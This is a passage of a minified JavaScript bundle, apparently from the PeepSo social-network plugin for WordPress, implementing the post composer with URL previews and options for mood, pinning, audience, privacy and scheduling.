t=this.$textarea.val().trim(),e={hard:[],soft:[""!==t]},i=peepso.observer.applyFilters("peepso_postbox_can_submit",e,this),o=!0;return[...i.hard,...i.soft].forEach(t=>{t&&(o=!1)}),o},i=t=>{t?(this.addClass("ps-postbox--active"),this.find(".ps-js-postbox-footer").not(".ps-postbox-tab-root").show(),this.update_charcount()):(this.removeClass("ps-postbox--active"),this.find(".ps-js-postbox-footer").not(".ps-postbox-tab-root").hide(),this.$charcount.hide())};i(!e()),this.$textarea.on("focus",()=>this.click()),this.on("click",t=>{t.stopPropagation(),i(!0),o(document).off("click.postbox").one("click.postbox",()=>i(!e()))})},100),this._load_addons(),this.removeClass("ps-postbox--disabled"),+peepsodata.show_powered_by&&peepso.observer.addAction("show_branding",()=>{var t=o(peepsodata.powered_by);o(this).children("."+t.attr("class")).length||t.appendTo(this)})},this._load_addons=function(){var t=peepso.observer.applyFilters("peepso_postbox_addons",[]);o(t).each(function(t,e){e.set_postbox(i),e.init()})},this.clear_tabs=function(){peepso.observer.applyFilters("postbox_clear_tabs",null)},this.privacy=function(t){this.$privacy_dropdown.is(":visible")?(this.$privacy_dropdown.hide(),this.$privacy.removeClass("ps-postbox__menu-item--open"),jQuery(document).off("mouseup.ps-postbox-privacy")):(this.$privacy_dropdown.show(),this.$privacy.addClass("ps-postbox__menu-item--open"),setTimeout(function(){jQuery(document).off("mouseup.ps-postbox-privacy").on("mouseup.ps-postbox-privacy",function(t){0===this.$privacy.has(t.target).length&&(this.$privacy_dropdown.hide(),this.$privacy.removeClass("ps-postbox__menu-item--open"),o(document).off("mouseup.ps-postbox-privacy"))}.bind(this))}.bind(this),1))},this.save_post=function(){var t;peepso.observer.applyFilters("postbox_before_save",!0,this)&&(t={content:this.$textarea.val(),id:peepsodata.currentuserid,uid:peepsodata.userid,acc:this.$access.val(),type:"activity"},_.isUndefined(this.opts.postbox_req)||typeof Function!=typeof this.opts.postbox_req||(t=this.opts.postbox_req.apply(null,[t])),t=peepso.observer.applyFilters("postbox_req",t),t=peepso.observer.applyFilters("postbox_req_"+this.guid,t),this.save_post_queue||(this.save_post_queue=[]),this.save_post_queue.push(t),this.on_before_save(),this.save_post_progress||(this.save_post_progress=!0,this.save_post_execute()))},this.save_post_execute=function(){var e;this.save_post_queue.length?(e=this.save_post_queue.shift(),peepso.observer.applyFilters("peepso_postbox_enter_to_send",!1)||(jQuery(".ps-postbox-action",this).css("display","none"),jQuery(".ps-postbox-loading",this).show()),peepso.disableAsync().postJson(this.opts.save_url,e,function(t){t.success?(i.on_save(t),jQuery(i).trigger("postbox.post_saved",[e,t])):i.on_error(t),i.save_post_execute()})):(peepso.observer.applyFilters("peepso_postbox_enter_to_send",!1)||(jQuery(".ps-postbox-loading",this).hide(),jQuery(".ps-postbox-action",this).css("display","flex"),this.$posttabs.on_cancel()),this.save_post_progress=!1,this.on_queue_clear(),postbox.remove_broken_thumbnails())},this.on_before_save=function(){typeof Function==typeof this.opts.on_before_save&&this.opts.on_before_save.apply(this)},this.on_save=function(t){var e=peepso.observer.applyFilters("peepso_postbox_onsave",!1,this);"function"==typeof e?e.apply(this,[t]):"function"==typeof this.opts.on_save&&(this.opts.on_save.apply(this,[t]),this.$textarea.css("height",this.orig_height),jQuery(this).trigger("postbox.post_saved",this))},this.on_queue_clear=function(){typeof Function==typeof this.opts.on_queue_clear&&this.opts.on_queue_clear.apply(this)},this.on_error=function(t){typeof Function==typeof this.opts.on_error?this.opts.on_error.apply(this,[t]):!1===_.isUndefined(t.errors[0])&&psmessage.show("Error",t.errors[0])},this.cancel_post=function(){this.$textarea.css("height",this.orig_height),this.$textarea.removeAttr("readonly"),this.find(".ps-postbox-status").css("opacity",""),this.on_change(),jQuery(this).trigger("postbox.post_cancel")},this.on_focus=function(){jQuery(".ps-postbox-tab-root",i).hide(),jQuery(".ps-postbox-tab.interactions",i).attr("data-tab-shown",this.$posttabs.current_tab().data("tab")),jQuery(".ps-postbox-tab.interactions",i).show()},this.on_keydown=function(t){var e,i;return this._go_submit=!1,13!==t.keyCode||(i=(e=this.$textarea.val()).trim(),!t.shiftKey&&peepso.observer.applyFilters("peepso_postbox_enter_to_send",!1)&&(i.length||this.submitable(e))?(t.preventDefault(),this._go_submit=!0,this.$posttabs.on_submit(),!1):i.length?void 0:(t.preventDefault(),!1))},this.on_keypress=function(t){if(this.$textarea.val()>=this.opts.text_length)return!1},this.on_paste=function(t){var e=this;t.originalEvent.clipboardData.getData("text/plain").slice(0,this.text_length),setTimeout(function(){e.on_change()},100)},this.on_input=function(t){this._go_submit||(peepso.observer.applyFilters("peepso_postbox_input_changed",this.$textarea.val(),this),this.update_beautifier())},this.update_charcount=function(){var t,e=this.$textarea.val(),i=this.opts.text_length,e=Math.max(0,i-e.length);this.$charcount.html(e+""),e&&.5<e/i?this.$charcount.hide():(this.$charcount.show(),t="",0===e||e/i<.1?t="red":e/i<.25&&(t="orange"),this.$charcount.css({color:t}))},this.on_change=function(){this.update_charcount();var t=this.$textarea.val(),t=(this.submitable(t)?this.$save_button.show():this.$save_button.hide(),t.replace(/</g,"<").replace(/>/g,">").replace(/\n/g,"<br>"));this.$mirror.html(t),this.addons_update()},this.submitable=function(e){var i=Math.max(0,this.opts.text_length-e.length),i=peepso.observer.applyFilters("peepso_postbox_can_submit",{hard:[],soft:[i<this.opts.text_length&&""!==e.trim()]},this);{var{hard:e,soft:o}=i;let t=!1;(t=e.length?-1===e.indexOf(!1):-1!==o.indexOf(!0))&&!this.beforeUnloadHandler?(this.beforeUnloadHandler=()=>!0,peepso.observer.addFilter("beforeunload",this.beforeUnloadHandler)):!t&&this.beforeUnloadHandler&&(peepso.observer.removeFilter("beforeunload",this.beforeUnloadHandler),this.beforeUnloadHandler=null),t?(this.$preview_button.show(),this.$cancel_button.show()):(this.$preview_button.hide(),this.$cancel_button.hide())}return i=i.hard.length?!(-1<i.hard.indexOf(!1)):-1<i.soft.indexOf(!0)},this.addons_update=jQuery.proxy(_.debounce(function(){var t,e=peepso.observer.applyFilters("peepso_postbox_addons_update",[]);e&&e.length?(t=this.$textarea.attr("placeholder"),this.$textarea.data("placeholder",t).removeAttr("placeholder"),this.$addons.html("— "+e.join(" and ")),this.$addons.show()):(t=this.$textarea.data("placeholder"),this.$textarea.attr("placeholder",t),this.$addons.hide().empty())},10),this),this.update_beautifier=_.throttle(function(){_.defer(_.bind(function(){var t,e;this.$beautifier||(this.$textarea.addClass("ps-tagging-textarea"),(e=this.$textarea.parent(".ps-postbox__input-tag")).length||(this.$textarea.wrap("<div class=ps-postbox__input-tag />"),e=this.$textarea.parent(".ps-postbox__input-tag")),this.$beautifier=e.children(".ps-postbox__input-beautifier"),this.$beautifier.length||(this.$beautifier=o("<div class=ps-postbox__input-beautifier />"),this.$beautifier.prependTo(e)),this.$textarea.focus()),(e=window._wpemojiSettings||{})&&e.supports&&(e.supports.everything=!0),t=this.$textarea.val()||"",t=(t=peepso.observer.applyFilters("peepso_postbox_beautifier",t,this.$textarea)).replace(/<(?!\/?ps_)/g,"<").replace(/<(\/?)ps_/g,"<$1").replace(/\r?\n/g,"<br />"),this.$beautifier.html(t)},this))},100),this.init(t),this},s.prototype.init=function(){var e=this;return peepso.observer.addFilter("peepso_postbox_can_submit",function(t){return t||e.can_submit},20,1),this.$activity_stream_recent=jQuery("#ps-activitystream-recent"),this.$activity_stream=jQuery("#ps-activitystream"),this.$postbox=jQuery("#postbox-main").pspostbox({postbox_req:function(t){return e.embedData?t.embed=e.embedData:t.show_preview=0,t},on_save:function(t){return jQuery(this.$posttabs).find("[data-tab='status']").trigger("click"),e.append_to_stream(t)}}),void 0!==this.$postbox&&(this.$postbox.$textarea.on("blur",function(t){e.check_url_preview()}).on("keyup",function(t){32===t.keyCode&&e.check_url_preview()}),this.$postbox.on("postbox.post_saved postbox.post_cancel",()=>{e.can_submit=!1,e.$url_preview_container.empty().remove(),this.embedData=null,this.embedExceptions=[]})),this.$postbox},s.prototype.check_url_preview=function(t){if(!this.fetching){var e=this.$postbox.$posttabs.current_tab().data("tab");if("status"===e){var e=peepsodata.embed||{},i=+e.enable;if(i&&(t||!this.embedData)){let t=this.$postbox.$textarea.val(),o;if(o=(o=t.match(/(^|\s)(https?:\/\/)?([a-z0-9-]+\.)+((com|net|org|int|edu|gov|mil|biz|info|mobi|co|io|me)(\.[a-z]{2})?)(?![a-z])(:\d+)?(\/[^\s]*)?/gi)||t.match(/(^|\s)(https?:\/\/)([a-z0-9-]+\.)+([a-z]{2,24})(:\d+)?(\/[^\s]*)?/gi))&&o[0]&&o[0].trim()){o.match(/^https?:\/\//i)||(o="https://"+o);i=+e.enable_non_ssl;if((i||o.match(/^https:\/\//i))&&!(this.embedExceptions&&-1<this.embedExceptions.indexOf(o))){this.fetching=!0;let i=this.$postbox.$textarea.closest(".ps-postbox-input"),t=this.$postbox.find(".ps-postbox-loading").show(),e=this.$postbox.find(".ps-postbox-action").css("display","none");peepso.modules.url.getEmbed(o).then(t=>{this.embedData=o;let e=`<div class="ps-postbox__url-preview url-preview ps-stream-container-narrow">
<div class="ps-postbox__url-close close">
<a href="#" class="ps-js-remove"><i class="gcis gci-times"></i></a>
</div>
${t.html}
</div>`;e=e.replace(/\/embed\/(#\?secret=[a-zA-Z0-9]+)?"/g,'/?embed=true$1"'),this.$url_preview_container.html(e).appendTo(i),this.$url_preview_container.on("click.ps-embed-remove",".ps-js-remove",()=>{this.$url_preview_container.off("click.ps-embed-remove"),this.$url_preview_container.empty().remove(),this.embedData=null,this.embedExceptions.push(o)}),e.match(/\sdata-instgrm-permalink/)&&setTimeout(function(){try{window.instgrm.Embeds.process()}catch(t){}},1e3)}).catch(()=>{}).then(()=>{this.fetching=!1,t.hide(),e.css("display","flex")})}}}}}},s.prototype.append_to_stream=function(t){var e,i,o,s,n,a;t.data&&+t.data.post_id&&(0<jQuery("#ps-no-posts").length&&(jQuery(this.$activity_stream.css("display","block")),jQuery("#ps-no-posts").remove()),e=t.data.post_id,t=t.data.html,i=+peepsodata.activity_reverse_order,t=(t=t.replace(/\/embed\/(#\?secret=[a-zA-Z0-9]+)*"/g,'/?embed=true$1"')).replace(/\/\?embed=true([#"])/g,"/?embed=true&peepso=1$1"),(o=peepso.observer.applyFilters("peepso_activity",jQuery(t),{inLoop:!1})).find(".ps-js-activity-content, .ps-js-activity-quote, .ps-comment-item").each(function(){var t=jQuery(this),e=t.html(),e=peepso.observer.applyFilters("peepso_activity_content",e);t.html(e)}),(s=this.$activity_stream.children(".ps-js-activity-pinned").not(".ps-js-activity-pinned-notop")).length?(n=o.filter(".ps-js-activity-pinned").not(".ps-js-activity-pinned-notop"),a=o.not(n),n.length&&n.prependTo(this.$activity_stream),a.length&&a.insertAfter(s.last())):i?o.addClass("ps-js-activity-latest").appendTo(this.$activity_stream):o.prependTo(this.$activity_stream),o.each(function(){1===this.nodeType&&peepso.hooks.doAction("post_added",this)}),o.fadeIn("slow",function(){jQuery(this).find(".ps-js-comment-container").hide(),jQuery(document).trigger("ps_activitystream_append",[jQuery("#peepso-wrap .ps-js-activity--"+e+" .ps-js-dropdown-toggle")]),peepso.hooks.addFilter("activitystream_disable_scroll","postbox",()=>!0),peepso.util.scrollIntoViewIfNeeded(this,{position:"center"}),setTimeout(()=>{peepso.hooks.removeFilter("activitystream_disable_scroll","postbox")},3e3)}),peepso.observer.doAction("peepso_activity_actions",o.find("[data-type=stream-action]")),t.match(/\sdata-instgrm-permalink/)&&setTimeout(function(){try{window.instgrm.Embeds.process()}catch(t){}},1e3),peepso.observer.applyFilters("peepso_posttabs_cancel-status"))},s.prototype.remove_broken_thumbnails=function(){jQuery(".ps-media-thumbnail img").each(function(){var t=new Image,e=this;t.onerror=function(){jQuery(e).closest(".ps-media-thumbnail").remove()},t.src=e.src})},window.postbox=new s,jQuery(document).ready(function(){postbox.init()}),jQuery(function(){var t;jQuery.support.placeholder=!1,"placeholder"in document.createElement("input")&&(jQuery.support.placeholder=!0),jQuery.support.placeholder||(t=document.activeElement,jQuery("textarea").focus(function(){jQuery(this).attr("placeholder")&&0<jQuery(this).attr("placeholder").length&&""!==jQuery(this).attr("placeholder")&&jQuery(this).val()===jQuery(this).attr("placeholder")&&jQuery(this).val("").removeClass("hasPlaceholder")}).blur(function(){jQuery(this).attr("placeholder")&&0<jQuery(this).attr("placeholder").length&&""!==jQuery(this).attr("placeholder")&&(""===jQuery(this).val()||jQuery(this).val()===jQuery(this).attr("placeholder"))&&jQuery(this).val(jQuery(this).attr("placeholder")).addClass("hasPlaceholder")}),jQuery("textarea").blur(),jQuery(t).focus(),jQuery("form").submit(function(){jQuery(this).find(".hasPlaceholder").each(function(){jQuery(this).val("")})}))})},{}],24:[function(t,e,i){t("./postbox"),t("./postbox-option-abstract"),t("./postbox-option-privacy"),t("./postbox-option-post-to"),t("./postbox-option-moods"),t("./postbox-option-pin"),t("./postbox-option-schedule"),t("./postbox-type-abstract"),t("./postbox-type-text"),t("./postbox-type-poll"),t("./postbox-type-background"),t("./postbox-misc")},{"./postbox":36,"./postbox-misc":25,"./postbox-option-abstract":26,"./postbox-option-moods":27,"./postbox-option-pin":28,"./postbox-option-post-to":29,"./postbox-option-privacy":30,"./postbox-option-schedule":31,"./postbox-type-abstract":32,"./postbox-type-background":33,"./postbox-type-poll":34,"./postbox-type-text":35}],25:[function(t,e,i){!function(s){!function(){var i=e("undefined"!=typeof window?window.jQuery:void 0!==s?s.jQuery:null),t="undefined"!=typeof window?window.peepso:void 0!==s?s.peepso:null,o=e("undefined"!=typeof window?window.peepsodata:void 0!==s?s.peepsodata:null);function e(t){return t&&t.__esModule?t:{default:t}}t.hooks.addAction("postbox_init",e=>{+o.default.show_powered_by&&t.observer.addAction("show_branding",()=>{var t=(0,i.default)(o.default.powered_by);e.$postbox.children("."+t.attr("class")).length||t.appendTo(e.$postbox)})})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],26:[function(t,e,i){peepso.class("PostboxOption",function(t,e,i){let o=0;return class{constructor(){this.eventId="postbox-"+ ++o,this.$toggle=null,this.$dropdown=null}toggle(t){(t=void 0===t?this.$dropdown.is(":hidden"):t)?this.show():this.hide()}show(){this.$dropdown.show(),setTimeout(()=>{i(document).off("mouseup."+this.eventId).on("mouseup."+this.eventId,t=>{var e=this.$toggle.add(this.$dropdown);e.filter(t.target).length||e.find(t.target).length||this.hide()})},1)}hide(){this.$dropdown.hide(),i(document).off("mouseup."+this.eventId)}}})},{}],27:[function(t,e,i){!function(s){!function(){var t,e=(t="undefined"!=typeof window?window.jQuery:void 0!==s?s.jQuery:null)&&t.__esModule?t:{default:t},i="undefined"!=typeof window?window.peepso:void 0!==s?s.peepso:null;class o extends peepso.class("PostboxOption"){constructor(t){super(t),this.mood=null,this.postbox=t,this.$postbox=t.$postbox,this.$toggle=this.$postbox.find("[data-ps=option][data-id=moods]"),this.$dropdown=this.$postbox.find("[data-ps=dropdown][data-id=moods]"),this.$cancel=this.$dropdown.find("[data-ps=btn-cancel]"),this.$remove=this.$dropdown.find("[data-ps=btn-remove]"),this.titleTemplate=this.$dropdown.find("script[data-tmpl=title]").text(),this.postbox.$viewer.on("click","[data-ps=moods]",t=>this.onViewMoodsClick(t)),this.$toggle.on("click",()=>this.toggle()),this.$dropdown.on("click","[data-mood]",t=>this.onItemClick(t)),this.$cancel.on("click",t=>this.onCancelClick(t)),this.$remove.on("click",t=>this.onRemoveClick(t)),i.hooks.addFilter("postbox_data","moods",(...t)=>this.onPostboxData(...t)),i.hooks.addFilter("postbox_is_empty",(...t)=>this.onFilterIsEmpty(...t)),i.hooks.addFilter("postbox_title_extra","moods",(...t)=>this.onPostboxTitle(...t)),i.hooks.addAction("postbox_reset","moods",(...t)=>this.onPostboxReset(...t))}set(t,e){var i;t?(i=this.$dropdown.find(`[data-id=${t}]`).addClass("active"),this.mood=[t,e],this.$toggle.addClass("pso-postbox__option--active"),this.$dropdown.find(".active").not(i).removeClass("active"),this.$remove.show()):(this.mood=null,this.$toggle.removeClass("pso-postbox__option--active"),this.$dropdown.find(".active").removeClass("active"),this.$remove.hide()),this.postbox.render(),this.postbox.$textarea.trigger("input")}onPostboxData(t,e){return e===this.postbox&&(t.mood=this.mood?this.mood[0]:void 0),t}onFilterIsEmpty(t,e,i){return t=e===this.postbox&&i.mood?!1:t}onPostboxTitle(t=[],e,i){return i===this.postbox&&this.mood&&(i=this.titleTemplate.replace("##icon##",this.mood[0]).replace("##mood##",this.mood[1]),t.push(i)),t}onPostboxReset(t){t===this.postbox&&this.set(null)}onViewMoodsClick(t){t.preventDefault(),t.stopPropagation(),this.postbox.toggle(!0),this.toggle(!0)}onItemClick(t){t.preventDefault(),t.stopPropagation();t=(0,e.default)(t.currentTarget).data();this.mood&&this.mood[0]===t.id?this.set(null):this.set(t.id,t.mood),this.toggle(!1)}onRemoveClick(t){t.preventDefault(),t.stopPropagation(),this.set(null),this.toggle(!1)}onCancelClick(t){t.preventDefault(),t.stopPropagation(),this.toggle(!1)}}i.hooks.addAction("postbox_init","moods",t=>new o(t))}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],28:[function(l,t,e){!function(h){!function(){var t,e=(t="undefined"!=typeof window?window.jQuery:void 0!==h?h.jQuery:null)&&t.__esModule?t:{default:t},i="undefined"!=typeof window?window.peepso:void 0!==h?h.peepso:null,o="undefined"!=typeof window?window.peepsodata:void 0!==h?h.peepsodata:null,s=l("../datetime");let n=o.datetime&&o.datetime.text.monthNames,a=o.datetime&&o.datetime.text.am,r=o.datetime&&o.datetime.text.pm;class d extends peepso.class("PostboxOption"){constructor(t){super(t),this.pin=null,this.postbox=t,this.$postbox=t.$postbox,this.$toggle=this.$postbox.find("[data-ps=option][data-id=pin]"),this.$dropdown=this.$postbox.find("[data-ps=dropdown][data-id=pin]"),this.$cancel=this.$dropdown.find("[data-ps=btn-cancel]"),this.$radio=this.$dropdown.find("[type=radio]"),this.$datetime=this.$dropdown.find(".ps-js-datetime"),this.$date=this.$datetime.find(".ps-js-date-dd"),this.$month=this.$datetime.find(".ps-js-date-mm"),this.$year=this.$datetime.find(".ps-js-date-yy"),this.$hour=this.$datetime.find(".ps-js-time-hh"),this.$minute=this.$datetime.find(".ps-js-time-mm"),this.$ampm=this.$datetime.find(".ps-js-time-ampm"),this.$done=this.$datetime.find(".ps-js-done"),this.minuteInterval=+this.$minute.data("interval")||15,this.dateSelector=null,this.timeSelector=null,this.is_admin=i.observer.applyFilters("postbox_can_pin",+o.is_admin),this.is_admin?this.$toggle.show():this.$toggle.hide(),this.$toggle.on("click",()=>this.toggle()),this.$dropdown.on("click","[data-value]",t=>this.onItemClick(t)),this.$cancel.on("click",t=>this.onCancelClick(t)),this.$done.on("click",t=>this.onDoneClick(t)),i.hooks.addFilter("postbox_data","pin",(...t)=>this.onPostboxData(...t)),i.hooks.addFilter("postbox_is_empty",(...t)=>this.onFilterIsEmpty(...t)),i.hooks.addAction("postbox_reset","pin",(...t)=>this.onPostboxReset(...t))}set(t){"no"===t?(this.pin=null,this.$radio.get(0).checked=!0,this.$datetime.hide(),this.$toggle.removeClass("pso-postbox__option--active"),i.hooks.doAction("postbox_pin_reset",this)):"indefinitely"===t?(this.pin=1,this.$radio.get(1).checked=!0,this.$datetime.hide(),this.$toggle.addClass("pso-postbox__option--active"),i.hooks.doAction("postbox_pin_set",this)):"until"===t&&(this.pin="until",this.$radio.get(2).checked=!0,this.$datetime.show(),this.$toggle.addClass("pso-postbox__option--active"),this.initDateTime(),i.hooks.doAction("postbox_pin_set",this)),this.postbox.$textarea.trigger("input")}onPostboxData(t,e){return e===this.postbox&&("until"===this.pin?this.dateSelector&&this.timeSelector&&(t.pin=this.dateSelector.getDate()+" "+this.timeSelector.getTime()):t.pin=this.pin||void 0),t}onFilterIsEmpty(t,e,i){return t=e===this.postbox&&i.pin?!1:t}onPostboxReset(t){t===this.postbox&&this.set("no")}onItemClick(t){t.preventDefault(),t.stopPropagation();t=(0,e.default)(t.currentTarget).data();this.set(t.value),this.toggle("until"===t.value)}onDoneClick(t){t.preventDefault(),t.stopPropagation(),this.toggle(!1)}onCancelClick(t){t.preventDefault(),t.stopPropagation(),this.toggle(!1)}initDateTime(){var t,e,i;this.dateSelector||this.timeSelector||(i=()=>{var t=new Date,e=this.dateSelector.getDate().split("-"),i=this.timeSelector.getTime().split(":"),e=new Date(+e[0],+e[1]-1,+e[2],+i[0],+i[1]);t.setHours(t.getHours()+1,t.getMinutes()+(this.minuteInterval-t.getMinutes()%this.minuteInterval),0),e<t&&this.timeSelector.setTime(t.getHours()+":"+t.getMinutes())},e={monthNames:n,minDate:new Date,maxDate:t=new Date,onSelect:i},i={step:this.minuteInterval,am:a,pm:r,onSelect:i},t.setFullYear(Math.max(2035,t.getFullYear()+1)),this.dateSelector=new s.DateSelector(this.$year[0],this.$month[0],this.$date[0],e),this.timeSelector=new s.TimeSelector(this.$hour[0],this.$minute[0],this.$ampm.length?this.$ampm[0]:i,this.$ampm.length?i:void 0),this.resetDateTime())}resetDateTime(){var t=new Date;t.setDate(t.getDate()+1),this.setDateTime(t)}setDateTime(t){this.initDateTime();var e=`${t.getFullYear()}-${t.getMonth()+1}-`+t.getDate(),t=t.getHours()+":"+t.getMinutes();this.dateSelector.setDate(e),this.timeSelector.setTime(t)}}i.hooks.addAction("postbox_init","pin",t=>new d(t))}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"../datetime":9}],29:[function(t,e,i){!function(o){!function(){var t,n=(t="undefined"!=typeof window?window.jQuery:void 0!==o?o.jQuery:null)&&t.__esModule?t:{default:t},e="undefined"!=typeof window?window.peepso:void 0!==o?o.peepso:null;class i extends peepso.class("PostboxOption"){constructor(t){super(t),this.postTo=null,this.postbox=t,this.$postbox=t.$postbox,this.$toggle=this.$postbox.find("[data-ps=option][data-id=post_to]"),this.$dropdown=this.$postbox.find("[data-ps=dropdown][data-id=post_to]"),this.$radio=this.$dropdown.find("[type=radio]"),this.$dropdown.length&&(this.defaultName=this.$toggle.find("span").text(),this.defaultIcon=this.$toggle.find("i").eq(0).attr("class"),this.$toggle.on("click",()=>this.toggle()),this.$dropdown.on("click","[data-value]",t=>this.onOptionClick(t)),this.$dropdown.on("click","[data-ps=finder] [data-item]",t=>this.onItemClick(t)),e.hooks.addFilter("postbox_data","post_to",(...t)=>this.onPostboxData(...t)),e.hooks.addAction("postbox_reset","post_to",(...t)=>this.onPostboxReset(...t)),e.hooks.doAction("postbox_option_init",this,t))}show(){var t;super.show(),this.$radio.length||(t=this.$dropdown.find("[data-ps=finder]")).length&&t.show().find("[name=query]").trigger("focus")}set(t={}){t.name&&t.icon&&(this.$toggle.find("i").eq(0).attr("class",t.icon),this.$toggle.find("span").html(t.name)),"profile"===t.value?this.postTo=null:"anon"===t.value?this.postTo={anon_id:t.anonId}:(delete t.item,delete t.value,delete t.name,delete t.icon,delete t.canPinPosts,this.postTo=Object.assign({},t)),this.postbox.render(),this.postbox.$textarea.trigger("input")}onPostboxData(t,e){return e===this.postbox&&this.postTo&&"object"==typeof this.postTo&&(this.postTo.anon_id?Object.assign(t,this.postTo):Object.assign(t,this.postTo,{acc:void 0})),t}onPostboxReset(t){t===this.postbox&&(this.postTo=null,this.$toggle.find("i").eq(0).attr("class",this.defaultIcon),this.$toggle.find("span").html(this.defaultName),this.$dropdown.find("[data-value]").eq(0).trigger("click"))}onOptionClick(t){t.preventDefault(),t.stopPropagation();var t=(0,n.default)(t.currentTarget),e=t.find("[type=radio]"),i=t.find("[data-ps=finder]"),o=t.find("label span").html(),s=t.find("label i").attr("class"),t=Object.assign({},t.data(),{name:o,icon:s});e.prop("checked",!0),this.$dropdown.find("[data-ps=finder]").not(i).hide(),i.length?(i.show(),i.is(":visible")&&i.find("[name=query]").trigger("focus")):(this.set(t),this.toggle(!1))}onItemClick(t){t.preventDefault(),t.stopPropagation();var t=(0,n.default)(t.currentTarget),e=t.closest("[data-value]").data("value"),t=Object.assign({},t.data(),{value:e});this.set(t),this.toggle(!1)}}e.hooks.addAction("postbox_init","post_to",t=>new i(t))}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],30:[function(t,e,i){!function(s){!function(){var t,o=(t="undefined"!=typeof window?window.jQuery:void 0!==s?s.jQuery:null)&&t.__esModule?t:{default:t},e="undefined"!=typeof window?window.peepso:void 0!==s?s.peepso:null;class i extends peepso.class("PostboxOption"){constructor(t){super(t),this.postbox=t,this.$postbox=t.$postbox,this.$toggle=this.$postbox.find("[data-ps=option][data-id=privacy]"),this.$dropdown=this.$postbox.find("[data-ps=dropdown][data-id=privacy]"),this.$cancel=this.$dropdown.find("[data-ps=btn-cancel]"),this.privacy=+this.$dropdown.find("script[data-var=default_privacy]").text(),this.$toggle.on("click",()=>this.toggle()),this.$dropdown.on("click","[data-id]",t=>this.onItemClick(t)),this.$cancel.on("click",t=>this.onCancelClick(t)),e.hooks.addFilter("postbox_data","privacy",(...t)=>this.onPostboxData(...t)),e.hooks.addFilter("postbox_validate","priv",(...t)=>this.onPostboxValidate(...t))}onPostboxData(t,e){return e===this.postbox&&(t.acc=this.privacy),t}onPostboxValidate(t,e,i){return e===this.postbox&&(i.module_id?(this.$toggle.hide(),this.toggle(!1)):this.$toggle.show()),t}onItemClick(t){t.preventDefault(),t.stopPropagation();var t=(0,o.default)(t.currentTarget),e=t.find("[data-icon]"),i=t.find("[data-label]"),t=t.data();this.privacy=t.id,this.toggle(!1),this.$toggle.find("[data-icon]").attr("class",e.attr("class")),this.$toggle.find("[data-label]").html(i.html())}onCancelClick(t){t.preventDefault(),t.stopPropagation(),this.toggle(!1)}}e.hooks.addAction("postbox_init","privacy",t=>new i(t))}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],31:[function(l,t,e){!function(h){!function(){var t,e=(t="undefined"!=typeof window?window.jQuery:void 0!==h?h.jQuery:null)&&t.__esModule?t:{default:t},i="undefined"!=typeof window?window.peepso:void 0!==h?h.peepso:null,o="undefined"!=typeof window?window.peepsodata:void 0!==h?h.peepsodata:null,n=l("../datetime");let a=o.datetime&&o.datetime.text.monthNames,r=o.datetime&&o.datetime.text.am,d=o.datetime&&o.datetime.text.pm;class s extends peepso.class("PostboxOption"){constructor(t){super(t),this.schedule=null,this.postbox=t,this.$postbox=t.$postbox,this.$toggle=this.$postbox.find("[data-ps=option][data-id=schedule]"),this.$dropdown=this.$postbox.find("[data-ps=dropdown][data-id=schedule]"),this.$cancel=this.$dropdown.find("[data-ps=btn-cancel]"),this.$radio=this.$dropdown.find("[type=radio]"),this.$datetime=this.$dropdown.find(".ps-js-datetime"),this.$date=this.$datetime.find(".ps-js-date-dd"),this.$month=this.$datetime.find(".ps-js-date-mm"),this.$year=this.$datetime.find(".ps-js-date-yy"),this.$hour=this.$datetime.find(".ps-js-time-hh"),this.$minute=this.$datetime.find(".ps-js-time-mm"),this.$ampm=this.$datetime.find(".ps-js-time-ampm"),this.$done=this.$datetime.find(".ps-js-done"),this.minuteInterval=+this.$minute.data("interval")||5,this.dateSelector=null,this.timeSelector=null,this.$toggle.on("click",()=>this.toggle()),this.$dropdown.on("click","[data-value]",t=>this.onItemClick(t)),this.$cancel.on("click",t=>this.onCancelClick(t)),this.$done.on("click",t=>this.onDoneClick(t)),i.hooks.addFilter("postbox_data","schedule",(...t)=>this.onPostboxData(...t)),i.hooks.addFilter("postbox_is_empty",(...t)=>this.onFilterIsEmpty(...t)),i.hooks.addAction("postbox_reset","schedule",(...t)=>this.onPostboxReset(...t))}set(t){var e=this.postbox.$btnSubmit;"now"===t?(this.schedule=null,this.$radio.get(0).checked=!0,this.$datetime.hide(),this.$toggle.removeClass("pso-postbox__option--active"),e.data("text-orig")&&e.html(e.data("text-orig")),i.hooks.doAction("postbox_schedule_reset",this)):"future"===t&&(this.schedule="future",this.$radio.get(1).checked=!0,this.$datetime.show(),this.$toggle.addClass("pso-postbox__option--active"),e.data("text-orig")||e.data("text-orig",e.html()),e.html(o.btn_schedule_text),this.initDateTime(),i.hooks.doAction("postbox_schedule_set",this)),this.postbox.$textarea.trigger("input")}onPostboxData(t,e){var i,o;return e===this.postbox&&("future"===this.schedule?this.dateSelector&&this.timeSelector&&(e=this.dateSelector.getDate()+" "+this.timeSelector.getTime(),i=this.dateSelector.getDate().split("-"),o=this.timeSelector.getTime().split(":"),new Date(+i[0],+i[1]-1,+i[2],+o[0],+o[1]).getTime()>(new Date).getTime()?t.future=e:t.date=e):(t.future=void 0,t.date=void 0)),t}onFilterIsEmpty(t,e,i){return t=e===this.postbox&&i.schedule?!1:t}onPostboxReset(t){t===this.postbox&&(this.schedule=null,this.$radio.get(0).checked=!0,this.$datetime.hide(),this.$toggle.removeClass("pso-postbox__option--active"),(t=this.postbox.$btnSubmit).data("text-orig"))&&t.html(t.data("text-orig"))}onItemClick(t){t.preventDefault(),t.stopPropagation();t=(0,e.default)(t.currentTarget).data();this.set(t.value),this.toggle("future"===t.value)}onDoneClick(t){t.preventDefault(),t.stopPropagation(),this.toggle(!1)}onCancelClick(t){t.preventDefault(),t.stopPropagation(),this.toggle(!1)}initDateTime(){if(!this.dateSelector&&!this.timeSelector){let o;var t=()=>{var t=this.dateSelector.getDate().split("-"),e=this.timeSelector.getTime().split(":"),t=new Date(+t[0],+t[1]-1,+t[2],+e[0],+e[1]),e=new 